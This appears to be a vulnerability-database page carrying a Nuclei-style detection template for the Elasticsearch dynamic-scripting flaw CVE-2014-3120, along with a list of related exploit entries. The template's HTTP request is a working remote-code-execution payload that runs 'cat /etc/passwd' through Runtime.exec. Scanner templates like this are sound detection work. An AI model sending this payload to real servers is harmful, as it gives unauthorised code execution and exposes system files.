| Reporter | Title | Published | Views | Family All 48 |
|---|---|---|---|---|
| ElasticSearch Remote Code Execution Exploit | 15 May 201400:00 | – | zdt | |
| ElasticSearch Dynamic Script Arbitrary Java Execution | 1 Jun 201400:00 | – | zdt | |
| Exploit for Improper Access Control in Elasticsearch | 6 Jul 202502:42 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 3 Jun 202110:56 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 3 Sep 202008:57 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 21 Sep 202014:36 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 25 Jan 202102:52 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 18 Oct 202000:49 | – | gitee | |
| Exploit for Improper Access Control in Elasticsearch | 4 Dec 201921:40 | – | gitee | |
| elasticsearch and logstash -- remote OS command execution via dynamic scripting | 22 May 201400:00 | – | freebsd |
id: CVE-2014-3120
info:
name: ElasticSearch v1.1.1/1.2 RCE
author: pikpikcu
severity: medium
description: |
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor's intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
impact: |
Allows remote attackers to execute arbitrary code on the affected system
remediation: |
Upgrade to a patched version of ElasticSearch
reference:
- https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120
- https://www.elastic.co/blog/logstash-1-4-3-released
- https://nvd.nist.gov/vuln/detail/CVE-2014-3120
- http://bouk.co/blog/elasticsearch-rce/
- https://www.elastic.co/community/security/
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
cvss-score: 6.8
cve-id: CVE-2014-3120
cwe-id: CWE-284
epss-score: 0.88559
epss-percentile: 0.99755
cpe: cpe:2.3:a:elasticsearch:elasticsearch:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: elasticsearch
product: elasticsearch
fofa-query: index_not_found_exception
tags: cve2014,cve,rce,elasticsearch,kev,vulhub,elastic,vkev,vuln
http:
- raw:
- |
POST /_search?pretty HTTP/1.1
Host: {{Hostname}}
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "application/json"
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022100e5cd66f05c2ee2117dff670294a95261210a64254fe3cf86d60bb12b124b7d3b02202a9dac449940bb66bf63a5c9a8a466d8a33a58b14a971b0a4ce27f925a2e6b11:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation